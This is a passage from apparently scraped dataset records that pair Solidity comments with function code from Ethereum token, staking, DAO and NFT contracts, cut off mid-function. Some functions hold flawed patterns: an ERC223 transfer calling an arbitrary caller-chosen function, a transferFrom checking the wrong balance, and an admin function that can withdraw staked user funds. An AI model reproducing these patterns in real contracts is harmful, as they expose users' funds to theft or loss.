"// rule enforcement and book-keeping for refunding requests", "function_code": "function tryRefund() internal {\r\n // Note: this implementation requires that acceptedDeposits and alienDeposits have a primitive value type.\r\n // With a complex type, this code would produce dangling references.\r\n uint256 withdrawAmount;\r\n if(whitelist[msg.sender] == true) {\r\n require(state == States.Open);\r\n withdrawAmount = acceptedDeposits[msg.sender];\r\n require(withdrawAmount > 0);\r\n delete acceptedDeposits[msg.sender]; // implies setting the value to 0\r\n cumAcceptedDeposits -= withdrawAmount;\r\n } else {\r\n // alien deposits can be withdrawn anytime (we prefer to not touch them)\r\n withdrawAmount = alienDeposits[msg.sender];\r\n require(withdrawAmount > 0);\r\n delete alienDeposits[msg.sender]; // implies setting the value to 0\r\n cumAlienDeposits -= withdrawAmount;\r\n }\r\n emit Refund(msg.sender, withdrawAmount);\r\n // do the actual transfer last as recommended since the DAO incident (Checks-Effects-Interaction pattern)\r\n msg.sender.transfer(withdrawAmount); // throws on failure\r\n }", "version": "0.4.24"} {"comment": "// GXC Token constructor", "function_code": "function GXVCToken() { \r\n locked = true;\r\n totalSupply = 160000000 * multiplier; // 160,000,000 tokens * 10 decimals\r\n name = 'Genevieve VC'; \r\n symbol = 'GXVC'; \r\n decimals = 10; \r\n rootAddress = msg.sender; \r\n Owner = msg.sender; \r\n balances[rootAddress] = totalSupply; \r\n allowed[rootAddress][swapperAddress] = totalSupply;\r\n }", "version": "0.4.18"} {"comment": "// Public functions (from https://github.com/Dexaran/ERC223-token-standard/tree/Recommended)\n// Function that is called when a user or another contract wants to transfer funds to an address that has a non-standard fallback function", "function_code": "function transfer(address _to, uint _value, bytes _data, string _custom_fallback) isUnlocked isUnfreezed(_to) returns (bool success) {\r\n \r\n if(isContract(_to)) {\r\n if (balances[msg.sender] < _value) return false;\r\n balances[msg.sender] = safeSub( balances[msg.sender] , _value );\r\n balances[_to] = safeAdd( balances[_to] , _value );\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);\r\n Transfer(msg.sender, _to, _value, _data);\r\n return true;\r\n }\r\n else {\r\n return transferToAddress(_to, _value, _data);\r\n }\r\n}", "version": "0.4.18"} {"comment": "/**\r\n * @param token is the token address to stake for\r\n * @return currentTerm is the current latest term\r\n * @return latestTerm is the potential latest term\r\n * @return totalRemainingRewards is the as-of remaining rewards\r\n * @return currentReward is the total rewards at the current term\r\n * @return nextTermRewards is the as-of total rewards to be paid at the next term\r\n * @return currentStaking is the total active staking amount\r\n * @return nextTermStaking is the total staking amount\r\n */", "function_code": "function getTokenInfo(address token)\r\n external\r\n view\r\n override\r\n returns (\r\n uint256 currentTerm,\r\n uint256 latestTerm,\r\n uint256 totalRemainingRewards,\r\n uint256 currentReward,\r\n uint256 nextTermRewards,\r\n uint128 currentStaking,\r\n uint128 nextTermStaking\r\n )\r\n {\r\n currentTerm = _currentTerm[token];\r\n latestTerm = _getLatestTerm();\r\n totalRemainingRewards = _totalRemainingRewards[token];\r\n currentReward = _termInfo[token][currentTerm].rewardSum;\r\n nextTermRewards = _getNextTermReward(token);\r\n TermInfo memory termInfo = _termInfo[token][_currentTerm[token]];\r\n currentStaking = termInfo.stakeSum;\r\n nextTermStaking = termInfo.stakeSum.add(termInfo.stakeAdd).toUint128();\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @notice Returns _termInfo[token][term].\r\n */", "function_code": "function getTermInfo(address token, uint256 term)\r\n external\r\n view\r\n override\r\n returns (\r\n uint128 stakeAdd,\r\n uint128 stakeSum,\r\n uint256 rewardSum\r\n )\r\n {\r\n TermInfo memory termInfo = _termInfo[token][term];\r\n stakeAdd = termInfo.stakeAdd;\r\n stakeSum = termInfo.stakeSum;\r\n if (term == _currentTerm[token] + 1) {\r\n rewardSum = _getNextTermReward(token);\r\n } else {\r\n rewardSum = termInfo.rewardSum;\r\n }\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @return userTerm is the latest term the user has updated to\r\n * @return stakeAmount is the latest amount of staking from the user has updated to\r\n * @return nextAddedStakeAmount is the next amount of adding to stake from the user has updated to\r\n * @return currentReward is the latest reward getting by the user has updated to\r\n * @return nextLatestTermUserRewards is the as-of user rewards to be paid at the next term\r\n * @return depositAmount is the staking amount\r\n * @return withdrawableStakingAmount is the withdrawable staking amount\r\n */", "function_code": "function getAccountInfo(address token, address account)\r\n external\r\n view\r\n override\r\n returns (\r\n uint256 userTerm,\r\n uint256 stakeAmount,\r\n uint128 nextAddedStakeAmount,\r\n uint256 currentReward,\r\n uint256 nextLatestTermUserRewards,\r\n uint128 depositAmount,\r\n uint128 withdrawableStakingAmount\r\n )\r\n {\r\n AccountInfo memory accountInfo = _accountInfo[token][account];\r\n userTerm = accountInfo.userTerm;\r\n stakeAmount = accountInfo.stakeAmount;\r\n nextAddedStakeAmount = accountInfo.added;\r\n currentReward = accountInfo.rewards;\r\n uint256 currentTerm = _currentTerm[token];\r\n TermInfo memory termInfo = _termInfo[token][currentTerm];\r\n uint256 nextLatestTermRewards = _getNextTermReward(token);\r\n nextLatestTermUserRewards = termInfo.stakeSum.add(termInfo.stakeAdd) == 0\r\n ? 0\r\n : nextLatestTermRewards.mul(accountInfo.stakeAmount.add(accountInfo.added)) /\r\n (termInfo.stakeSum + termInfo.stakeAdd);\r\n depositAmount = accountInfo.stakeAmount.add(accountInfo.added).toUint128();\r\n uint128 availableForVoting = _voteNum[account].toUint128();\r\n withdrawableStakingAmount = depositAmount < availableForVoting\r\n ? depositAmount\r\n : availableForVoting;\r\n }", "version": "0.7.1"} {"comment": "//Salviamo l'indirizzo del creatore del contratto per inviare gli ether ricevuti", "function_code": "function ChrisCoin(){\r\n\t\towner = msg.sender;\r\n\t\tbalances[msg.sender] = CREATOR_TOKEN;\r\n\t\tstart = now;\r\n\t\tend = now.add(LENGHT_BONUS);\t//fine periodo bonus\r\n\t\tend2 = end.add(LENGHT_BONUS2);\t//fine periodo bonus\r\n\t\tend3 = end2.add(LENGHT_BONUS3);\t//fine periodo bonus\r\n\t\tend4 = end3.add(LENGHT_BONUS4);\t//fine periodo bonus\r\n\t}", "version": "0.4.18"} {"comment": "//Creazione dei token", "function_code": "function createTokens() payable{\r\n\t\trequire(msg.value >= 0);\r\n\t\tuint256 tokens = msg.value.mul(10 ** decimals);\r\n\t\ttokens = tokens.mul(RATE);\r\n\t\ttokens = tokens.div(10 ** 18);\r\n\t\tif (bonusAllowed)\r\n\t\t{\r\n\t\t\tif (now >= start && now < end)\r\n\t\t\t{\r\n\t\t\ttokens += tokens.mul(PERC_BONUS).div(100);\r\n\t\t\t}\r\n\t\t\tif (now >= end && now < end2)\r\n\t\t\t{\r\n\t\t\ttokens += tokens.mul(PERC_BONUS2).div(100);\r\n\t\t\t}\r\n\t\t\tif (now >= end2 && now < end3)\r\n\t\t\t{\r\n\t\t\ttokens += tokens.mul(PERC_BONUS3).div(100);\r\n\t\t\t}\r\n\t\t\tif (now >= end3 && now < end4)\r\n\t\t\t{\r\n\t\t\ttokens += tokens.mul(PERC_BONUS4).div(100);\r\n\t\t\t}\r\n\t\t}\r\n\t\tuint256 sum2 = balances[owner].sub(tokens);\t\t\r\n\t\trequire(sum2 >= CREATOR_TOKEN_END);\r\n\t\tuint256 sum = _totalSupply.add(tokens);\t\t\r\n\t\tbalances[msg.sender] = balances[msg.sender].add(tokens);\r\n\t\tbalances[owner] = balances[owner].sub(tokens);\r\n\t\t_totalSupply = sum;\r\n\t\towner.transfer(msg.value);\r\n\t\tTransfer(owner, msg.sender, tokens);\r\n\t}", "version": "0.4.18"} {"comment": "// ######## MINTING", "function_code": "function rarityIndexForNumber(uint256 number, uint8 traitType) internal view returns (bytes1) {\r\n uint16 lowerBound = 0;\r\n for (uint8 i = 0; i < rarities[traitType].length; i++) {\r\n uint16 upperBound = lowerBound + rarities[traitType][i];\r\n if (number >= lowerBound && number < upperBound)\r\n return bytes1(i);\r\n lowerBound = upperBound;\r\n }\r\n\r\n revert();\r\n }", "version": "0.8.0"} {"comment": "//Invio dei token con delega", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success){\r\n\t\trequire(allowed[_from][msg.sender] >= _value && balances[msg.sender] >= _value\t&& _value > 0);\r\n\t\tbalances[_from] = balances[_from].sub(_value);\r\n\t\tbalances[_to] = balances[_to].add(_value);\r\n\t\tallowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n\t\tTransfer(_from, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.4.18"} {"comment": "//brucia tutti i token rimanenti", "function_code": "function burnAll() public {\t\t\r\n\t\trequire(msg.sender == owner);\r\n\t\taddress burner = msg.sender;\r\n\t\tuint256 total = balances[burner];\r\n\t\tif (total > CREATOR_TOKEN_END) {\r\n\t\t\ttotal = total.sub(CREATOR_TOKEN_END);\r\n\t\t\tbalances[burner] = balances[burner].sub(total);\r\n\t\t\tif (_totalSupply >= total){\r\n\t\t\t\t_totalSupply = _totalSupply.sub(total);\r\n\t\t\t}\r\n\t\t\tBurn(burner, total);\r\n\t\t}\r\n\t}", "version": "0.4.18"} {"comment": "//brucia la quantita' _value di token", "function_code": "function burn(uint256 _value) public {\r\n\t\trequire(msg.sender == owner);\r\n require(_value > 0);\r\n require(_value <= balances[msg.sender]);\r\n\t\t_value = _value.mul(10 ** decimals);\r\n address burner = msg.sender;\r\n\t\tuint t = balances[burner].sub(_value);\r\n\t\trequire(t >= CREATOR_TOKEN_END);\r\n balances[burner] = balances[burner].sub(_value);\r\n if (_totalSupply >= _value){\r\n\t\t\t_totalSupply = _totalSupply.sub(_value);\r\n\t\t}\r\n Burn(burner, _value);\r\n\t}", "version": "0.4.18"} {"comment": "// Initializer", "function_code": "function init(\n address _summoner,\n address _DAI_ADDR,\n uint256 _withdrawLimit,\n uint256 _consensusThresholdPercentage\n ) public {\n require(! initialized, \"Initialized\");\n require(_consensusThresholdPercentage <= PRECISION, \"Consensus threshold > 1\");\n initialized = true;\n memberCount = 1;\n DAI = IERC20(_DAI_ADDR);\n issuersOrFulfillers = new address payable[](1);\n issuersOrFulfillers[0] = address(this);\n approvers = new address[](1);\n approvers[0] = address(this);\n withdrawLimit = _withdrawLimit;\n consensusThresholdPercentage = _consensusThresholdPercentage;\n\n // Add `_summoner` as the first member\n isMember[_summoner] = true;\n }", "version": "0.5.16"} {"comment": "/**\n Member management\n */", "function_code": "function addMembers(\n address[] memory _newMembers,\n uint256[] memory _tributes,\n address[] memory _members,\n bytes[] memory _signatures,\n uint256[] memory _salts\n )\n public\n withConsensus(\n this.addMembers.selector,\n abi.encode(_newMembers, _tributes),\n _members,\n _signatures,\n _salts\n )\n {\n require(_newMembers.length == _tributes.length, \"_newMembers not same length as _tributes\");\n for (uint256 i = 0; i < _newMembers.length; i = i.add(1)) {\n _addMember(_newMembers[i], _tributes[i]);\n }\n }", "version": "0.5.16"} {"comment": "/**\n Fund management\n */", "function_code": "function transferDAI(\n address[] memory _dests,\n uint256[] memory _amounts,\n address[] memory _members,\n bytes[] memory _signatures,\n uint256[] memory _salts\n )\n public\n withConsensus(\n this.transferDAI.selector,\n abi.encode(_dests, _amounts),\n _members,\n _signatures,\n _salts\n )\n {\n require(_dests.length == _amounts.length, \"_dests not same length as _amounts\");\n for (uint256 i = 0; i < _dests.length; i = i.add(1)) {\n _transferDAI(_dests[i], _amounts[i]);\n }\n }", "version": "0.5.16"} {"comment": "/**\n Posting bounties\n */", "function_code": "function postBounty(\n string memory _dataIPFSHash,\n uint256 _deadline,\n uint256 _reward,\n address _standardBounties,\n uint256 _standardBountiesVersion,\n address[] memory _members,\n bytes[] memory _signatures,\n uint256[] memory _salts\n )\n public\n withConsensus(\n this.postBounty.selector,\n abi.encode(_dataIPFSHash, _deadline, _reward, _standardBounties, _standardBountiesVersion),\n _members,\n _signatures,\n _salts\n )\n returns (uint256 _bountyID)\n {\n return _postBounty(_dataIPFSHash, _deadline, _reward, _standardBounties, _standardBountiesVersion);\n }", "version": "0.5.16"} {"comment": "/**\n Working on bounties\n */", "function_code": "function performBountyAction(\n uint256 _bountyID,\n string memory _dataIPFSHash,\n address _standardBounties,\n uint256 _standardBountiesVersion,\n address[] memory _members,\n bytes[] memory _signatures,\n uint256[] memory _salts\n )\n public\n withConsensus(\n this.performBountyAction.selector,\n abi.encode(_bountyID, _dataIPFSHash, _standardBounties, _standardBountiesVersion),\n _members,\n _signatures,\n _salts\n )\n {\n _standardBounties.performAction(\n _standardBountiesVersion,\n address(this),\n _bountyID,\n _dataIPFSHash\n );\n emit PerformBountyAction(_bountyID);\n }", "version": "0.5.16"} {"comment": "/**\n Consensus\n */", "function_code": "function naiveMessageHash(\n bytes4 _funcSelector,\n bytes memory _funcParams,\n uint256 _salt\n ) public view returns (bytes32) {\n // \"|END|\" is used to separate _funcParams from the rest, to prevent maliciously ambiguous signatures\n return keccak256(abi.encodeWithSelector(_funcSelector, _funcParams, \"|END|\", _salt, address(this)));\n }", "version": "0.5.16"} {"comment": "// limits how much could be withdrawn each day, should be called before transfer() or approve()", "function_code": "function _applyWithdrawLimit(uint256 _amount) internal {\n // check if the limit will be exceeded\n if (_timestampToDayID(now).sub(_timestampToDayID(lastWithdrawTimestamp)) >= 1) {\n // new day, don't care about existing limit\n withdrawnToday = 0;\n }\n uint256 newWithdrawnToday = withdrawnToday.add(_amount);\n require(newWithdrawnToday <= withdrawLimit, \"Withdraw limit exceeded\");\n withdrawnToday = newWithdrawnToday;\n lastWithdrawTimestamp = now;\n }", "version": "0.5.16"} {"comment": "/// @dev In later version, require authorities consensus\n/// @notice Add an approved version of Melon\n/// @param ofVersion Address of the version to add\n/// @return id integer ID of the version (list index)", "function_code": "function addVersion(\r\n address ofVersion\r\n )\r\n pre_cond(msg.sender == address(this))\r\n returns (uint id)\r\n {\r\n require(msg.sender == address(this));\r\n Version memory info;\r\n info.version = ofVersion;\r\n info.active = true;\r\n info.timestamp = now;\r\n versions.push(info);\r\n emit VersionUpdated(versions.length - 1);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Based on http://www.codecodex.com/wiki/Calculate_an_integer_square_root\r\n */", "function_code": "function sqrt(uint num) internal returns (uint) {\r\n if (0 == num) { // Avoid zero divide \r\n return 0; \r\n } \r\n uint n = (num / 2) + 1; // Initial estimate, never low \r\n uint n1 = (n + (num / n)) / 2; \r\n while (n1 < n) { \r\n n = n1; \r\n n1 = (n + (num / n)) / 2; \r\n } \r\n return n; \r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Calculates how many tokens one can buy for specified value\r\n * @return Amount of tokens one will receive and purchase value without remainder. \r\n */", "function_code": "function getBuyPrice(uint _bidValue) constant returns (uint tokenCount, uint purchaseValue) {\r\n\r\n // Token price formula is twofold. We have flat pricing below tokenCreationMin, \r\n // and above that price linarly increases with supply. \r\n\r\n uint flatTokenCount;\r\n uint startSupply;\r\n uint linearBidValue;\r\n \r\n if(totalSupply < tokenCreationMin) {\r\n uint maxFlatTokenCount = _bidValue.div(tokenPriceMin);\r\n // entire purchase in flat pricing\r\n if(totalSupply.add(maxFlatTokenCount) <= tokenCreationMin) {\r\n return (maxFlatTokenCount, maxFlatTokenCount.mul(tokenPriceMin));\r\n }\r\n flatTokenCount = tokenCreationMin.sub(totalSupply);\r\n linearBidValue = _bidValue.sub(flatTokenCount.mul(tokenPriceMin));\r\n startSupply = tokenCreationMin;\r\n } else {\r\n flatTokenCount = 0;\r\n linearBidValue = _bidValue;\r\n startSupply = totalSupply;\r\n }\r\n \r\n // Solves quadratic equation to calculate maximum token count that can be purchased\r\n uint currentPrice = tokenPriceMin.mul(startSupply).div(tokenCreationMin);\r\n uint delta = (2 * startSupply).mul(2 * startSupply).add(linearBidValue.mul(4 * 1 * 2 * startSupply).div(currentPrice));\r\n\r\n uint linearTokenCount = delta.sqrt().sub(2 * startSupply).div(2);\r\n uint linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2);\r\n \r\n // double check to eliminate rounding errors\r\n linearTokenCount = linearBidValue / linearAvgPrice;\r\n linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2);\r\n \r\n purchaseValue = linearTokenCount.mul(linearAvgPrice).add(flatTokenCount.mul(tokenPriceMin));\r\n return (\r\n flatTokenCount + linearTokenCount,\r\n purchaseValue\r\n );\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Calculates average token price for sale of specified token count\r\n * @return Total value received for given sale size. \r\n */", "function_code": "function getSellPrice(uint _askSizeTokens) constant returns (uint saleValue) {\r\n \r\n uint flatTokenCount;\r\n uint linearTokenMin;\r\n \r\n if(totalSupply <= tokenCreationMin) {\r\n return tokenPriceMin * _askSizeTokens;\r\n }\r\n if(totalSupply.sub(_askSizeTokens) < tokenCreationMin) {\r\n flatTokenCount = tokenCreationMin - totalSupply.sub(_askSizeTokens);\r\n linearTokenMin = tokenCreationMin;\r\n } else {\r\n flatTokenCount = 0;\r\n linearTokenMin = totalSupply.sub(_askSizeTokens);\r\n }\r\n uint linearTokenCount = _askSizeTokens - flatTokenCount;\r\n \r\n uint minPrice = (linearTokenMin).mul(tokenPriceMin).div(tokenCreationMin);\r\n uint maxPrice = (totalSupply+1).mul(tokenPriceMin).div(tokenCreationMin);\r\n \r\n uint linearAveragePrice = minPrice.add(maxPrice).div(2);\r\n return linearAveragePrice.mul(linearTokenCount).add(flatTokenCount.mul(tokenPriceMin));\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Buy tokens with limit maximum average price\r\n * @param _maxPrice Maximum price user want to pay for one token\r\n */", "function_code": "function buyLimit(uint _maxPrice) payable public fundingActive {\r\n require(msg.value >= tokenPriceMin);\r\n assert(!isHalted);\r\n \r\n uint boughtTokens;\r\n uint averagePrice;\r\n uint purchaseValue;\r\n \r\n (boughtTokens, purchaseValue) = getBuyPrice(msg.value);\r\n if(boughtTokens == 0) { \r\n // bid to small, return ether and abort\r\n msg.sender.transfer(msg.value);\r\n return; \r\n }\r\n averagePrice = purchaseValue.div(boughtTokens);\r\n if(averagePrice > _maxPrice) { \r\n // price too high, return ether and abort\r\n msg.sender.transfer(msg.value);\r\n return; \r\n }\r\n assert(averagePrice >= tokenPriceMin);\r\n assert(purchaseValue <= msg.value);\r\n \r\n totalSupply = totalSupply.add(boughtTokens);\r\n balances[msg.sender] = balances[msg.sender].add(boughtTokens);\r\n \r\n if(!minFundingReached && totalSupply >= tokenCreationMin) {\r\n minFundingReached = true;\r\n fundingUnlockTime = block.timestamp;\r\n // this.balance contains ether sent in this message\r\n unlockedBalance += this.balance.sub(msg.value).div(tradeSpreadInvert);\r\n }\r\n if(minFundingReached) {\r\n unlockedBalance += purchaseValue.div(tradeSpreadInvert);\r\n }\r\n \r\n LogBuy(msg.sender, boughtTokens, purchaseValue, totalSupply);\r\n \r\n if(msg.value > purchaseValue) {\r\n msg.sender.transfer(msg.value.sub(purchaseValue));\r\n }\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Sell tokens with limit on minimum average priceprice\r\n * @param _tokenCount Amount of tokens user wants to sell\r\n * @param _minPrice Minimum price user wants to receive for one token\r\n */", "function_code": "function sellLimit(uint _tokenCount, uint _minPrice) public fundingActive {\r\n require(_tokenCount > 0);\r\n\r\n assert(balances[msg.sender] >= _tokenCount);\r\n \r\n uint saleValue = getSellPrice(_tokenCount);\r\n uint averagePrice = saleValue.div(_tokenCount);\r\n assert(averagePrice >= tokenPriceMin);\r\n if(minFundingReached) {\r\n averagePrice -= averagePrice.div(tradeSpreadInvert);\r\n saleValue -= saleValue.div(tradeSpreadInvert);\r\n }\r\n \r\n if(averagePrice < _minPrice) {\r\n // price too high, abort\r\n return;\r\n }\r\n // not enough ether for buyback\r\n assert(saleValue <= this.balance);\r\n \r\n totalSupply = totalSupply.sub(_tokenCount);\r\n balances[msg.sender] = balances[msg.sender].sub(_tokenCount);\r\n \r\n LogSell(msg.sender, _tokenCount, saleValue, totalSupply);\r\n \r\n msg.sender.transfer(saleValue);\r\n }", "version": "0.4.11"} {"comment": "// Safe STARL transfer function to admin.", "function_code": "function accessSTARLTokens(uint256 _pid, address _to, uint256 _amount) public {\r\n require(msg.sender == adminaddr, \"sender must be admin address\");\r\n require(totalSTARLStaked.sub(totalSTARLUsedForPurchase) >= _amount, \"Amount must be less than staked STARL amount\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n uint256 STARLBal = pool.lpToken.balanceOf(address(this));\r\n if (_amount > STARLBal) {\r\n pool.lpToken.transfer(_to, STARLBal);\r\n totalSTARLUsedForPurchase = totalSTARLUsedForPurchase.add(STARLBal);\r\n } else {\r\n pool.lpToken.transfer(_to, _amount);\r\n totalSTARLUsedForPurchase = totalSTARLUsedForPurchase.add(_amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Wallet Of Owner", "function_code": "function walletOfOwner(address _owner) public view returns (uint256[] memory) {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);\r\n uint256 currentTokenId = 1;\r\n uint256 ownedTokenIndex = 0;\r\n\r\n while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {\r\n address currentTokenOwner = ownerOf(currentTokenId);\r\n\r\n if (currentTokenOwner == _owner) {\r\n ownedTokenIds[ownedTokenIndex] = currentTokenId;\r\n ownedTokenIndex++;\r\n }\r\n\r\n currentTokenId++;\r\n }\r\n\r\n return ownedTokenIds;\r\n }", "version": "0.8.7"} {"comment": "/// @notice fallback function. ensures that you still receive tokens if you just send money directly to the contract\n/// @dev fallback function. buys tokens with all sent ether *unless* ether is sent from partner address; if it is, then distributes ether as rewards to token holders", "function_code": "function()\r\n external\r\n payable\r\n{\r\n if ( msg.sender == partnerAddress_ ) {\r\n //convert money sent from partner contract into rewards for all token holders\r\n makeItRain();\r\n } else {\r\n purchaseTokens( msg.sender, msg.value ); \r\n }\r\n}", "version": "0.5.12"} {"comment": "/// @notice uses all of message sender's accumulated rewards to buy more tokens for the sender\n/// @dev emits event DoubleDown(msg.sender, rewards , newTokens) and event Transfer(address(0), playerAddress, newTokens) since function mint is called internally", "function_code": "function doubleDown()\r\n external\r\n{\r\n //pull current ether value of sender's rewards\r\n uint256 etherValue = rewardsOf( msg.sender );\r\n //update rewards tracker to reflect payout. performed before rewards are sent to prevent re-entrancy\r\n updateSpentRewards( msg.sender , etherValue);\r\n //update slush fund and fee rate\r\n _slushFundBalance -= etherValue;\r\n require( calcFeeRate(), \"error in calling calcFeeRate\" );\r\n // use rewards to buy new tokens\r\n uint256 newTokens = purchaseTokens(msg.sender , etherValue);\r\n //NOTE: purchaseTokens already emits an event, but this is useful for tracking specifically DoubleDown events\r\n emit DoubleDown(msg.sender, etherValue , newTokens);\r\n}", "version": "0.5.12"} {"comment": "/// @notice converts all of message senders's accumulated rewards into cold, hard ether\n/// @dev emits event CashOut( msg.sender, etherValue )\n/// @return etherValue sent to account holder", "function_code": "function cashOut()\r\n external\r\n returns (uint256 etherValue)\r\n{\r\n //pull current ether value of sender's rewards\r\n etherValue = rewardsOf( msg.sender );\r\n //update rewards tracker to reflect payout. performed before rewards are sent to prevent re-entrancy\r\n updateSpentRewards( msg.sender , etherValue);\r\n //update slush fund and fee rate\r\n _slushFundBalance -= etherValue;\r\n require( calcFeeRate(), \"error in calling calcFeeRate\" );\r\n //transfer rewards to sender\r\n msg.sender.transfer( etherValue );\r\n //NOTE: purchaseTokens already emits an event, but this is useful for tracking specifically CashOut events\r\n emit CashOut( msg.sender, etherValue );\r\n}", "version": "0.5.12"} {"comment": "/// @notice transfers tokens from sender to another address. Pays fee at same rate as buy/sell\n/// @dev emits event Transfer( msg.sender, toAddress, tokensAfterFee )\n/// @param toAddress Destination for transferred tokens\n/// @param amountTokens The number of tokens the sender wants to transfer", "function_code": "function transfer( address toAddress, uint256 amountTokens )\r\n external\r\n returns( bool )\r\n{\r\n //make sure message sender has the requested tokens (transfers also disabled during SetupPhase)\r\n require( ( amountTokens <= tokenBalanceLedger_[ msg.sender ] && !setupPhase ), \"transfer not allowed\" );\r\n //make the transfer internally\r\n require( transferInternal( msg.sender, toAddress, amountTokens ), \"error in internal token transfer\" );\r\n //ERC20 compliance\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "// PUBLIC FUNCTIONS", "function_code": "function whitelistMint(uint256 _numTokens) external payable {\r\n require(isAllowListActive, \"Whitelist is not active.\");\r\n require(_allowList[msg.sender] == true, \"Not whitelisted.\");\r\n require(_numTokens <= MAX_MINT_PER_TX, \"You can only mint a maximum of 2 per transaction.\");\r\n require(mintedPerWallet[msg.sender] + _numTokens <= 2, \"You can only mint 2 per wallet.\");\r\n uint256 curTotalSupply = totalSupply;\r\n require(curTotalSupply + _numTokens <= MAX_TOKENS, \"Exceeds `MAX_TOKENS`.\");\r\n require(_numTokens * price <= msg.value, \"Incorrect ETH value.\");\r\n \r\n for (uint256 i = 1; i <= _numTokens; ++i) {\r\n _safeMint(msg.sender, curTotalSupply + i);\r\n }\r\n mintedPerWallet[msg.sender] += _numTokens;\r\n totalSupply += _numTokens;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * Destroy tokens from other account\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) public returns (bool success) {\r\n require(balances[_from] >= _value); // Check if the targeted balance is enough\r\n require(_value <= allowed[_from][msg.sender]); // Check allowance\r\n balances[_from] -= _value; // Subtract from the targeted balance\r\n allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance\r\n _totalSupply -= _value; // Update totalSupply\r\n emit Burn(_from, _value);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/// @notice increases approved amount of tokens that an external address can transfer on behalf of the user\n/// @dev emits event Approval(msg.sender, approvedAddress, newAllowance)\n/// @param approvedAddress External address to give approval to (i.e. to give control to transfer sender's tokens)\n/// @param amountTokens The number of tokens by which the sender wants to increase the external address' allowance", "function_code": "function increaseAllowance( address approvedAddress, uint256 amountTokens)\r\n external\r\n returns (bool)\r\n{\r\n uint256 pastAllowance = allowance[msg.sender][approvedAddress];\r\n uint256 newAllowance = SafeMath.add( pastAllowance , amountTokens );\r\n allowance[msg.sender][approvedAddress] = newAllowance;\r\n emit Approval(msg.sender, approvedAddress, newAllowance);\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "/// @notice transfers tokens from one address to another. Pays fee at same rate as buy/sell\n/// @dev emits event Transfer( fromAddress, toAddress, tokensAfterFee )\n/// @param fromAddress Account that sender wishes to transfer tokens from\n/// @param toAddress Destination for transferred tokens\n/// @param amountTokens The number of tokens the sender wants to transfer", "function_code": "function transferFrom(address payable fromAddress, address payable toAddress, uint256 amountTokens)\r\n checkTransferApproved(fromAddress , amountTokens)\r\n external\r\n returns (bool)\r\n{\r\n // make sure sending address has requested tokens (transfers also disabled during SetupPhase)\r\n require( ( amountTokens <= tokenBalanceLedger_[ fromAddress ] && !setupPhase ), \"transfer not allowed - insufficient funds available\" );\r\n //update allowance (reduce it by tokens to be sent)\r\n uint256 pastAllowance = allowance[fromAddress][msg.sender];\r\n uint256 newAllowance = SafeMath.sub( pastAllowance , amountTokens );\r\n allowance[fromAddress][msg.sender] = newAllowance;\r\n //make the transfer internally\r\n require( transferInternal( fromAddress, toAddress, amountTokens ), \"error in internal token transfer\" ); \r\n // ERC20 compliance\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "// required return value from onERC721Received() function", "function_code": "function make( uint256 _sellunits,\r\n address _selltok,\r\n uint256 _askunits,\r\n address _asktok ) public payable returns (bytes32) {\r\n\r\n require( safelist[_selltok], \"unrecognized sell token\" );\r\n require( safelist[_asktok], \"unrecognized ask token\" );\r\n\r\n if (_selltok == address(0)) { // ETH\r\n require( _sellunits + makerfee >= _sellunits, \"safemath: bad arg\" );\r\n require( msg.value >= _sellunits + makerfee, \"insufficient fee\" );\r\n admin_.transfer( msg.value - _sellunits );\r\n }\r\n else {\r\n ERC20 tok = ERC20(_selltok);\r\n require( tok.transferFrom(msg.sender, address(this), _sellunits),\r\n \"failed transferFrom()\" );\r\n admin_.transfer( msg.value );\r\n }\r\n\r\n bytes32 id = keccak256( abi.encodePacked(\r\n counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );\r\n\r\n listings[id] =\r\n Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );\r\n\r\n emit Made( id, msg.sender );\r\n return id;\r\n }", "version": "0.6.10"} {"comment": "// ERC721 (NFT) transfer callback", "function_code": "function onERC721Received( address _operator,\r\n address _from,\r\n uint256 _tokenId,\r\n bytes calldata _data) external returns(bytes4) {\r\n if ( _operator == address(0x0)\r\n || _from == address(0x0)\r\n || _data.length > 0 ) {} // suppress warnings unused params\r\n\r\n ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );\r\n return magic;\r\n }", "version": "0.6.10"} {"comment": "/// @notice registers wallet addresses for users\n/// @param users Array of strings that identifies users\n/// @param wallets Array of wallet addresses", "function_code": "function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {\n require(users.length == wallets.length, \"Whitelisted: User and wallet lists must be of same length!\");\n for (uint i = 0; i < wallets.length; i++) {\n _addWallet(users[i], wallets[i]);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice returns current sell price for one token", "function_code": "function sellPrice() \r\n external\r\n view\r\n returns(uint256)\r\n{\r\n // avoid dividing by zero\r\n require(totalSupply != 0, \"function called too early (supply is zero)\");\r\n //represents selling one \"full token\" since the token has 18 decimals\r\n uint256 etherValue = tokensToEther( 1e18 );\r\n uint[2] memory feeAndValue = valueAfterFee( etherValue );\r\n return 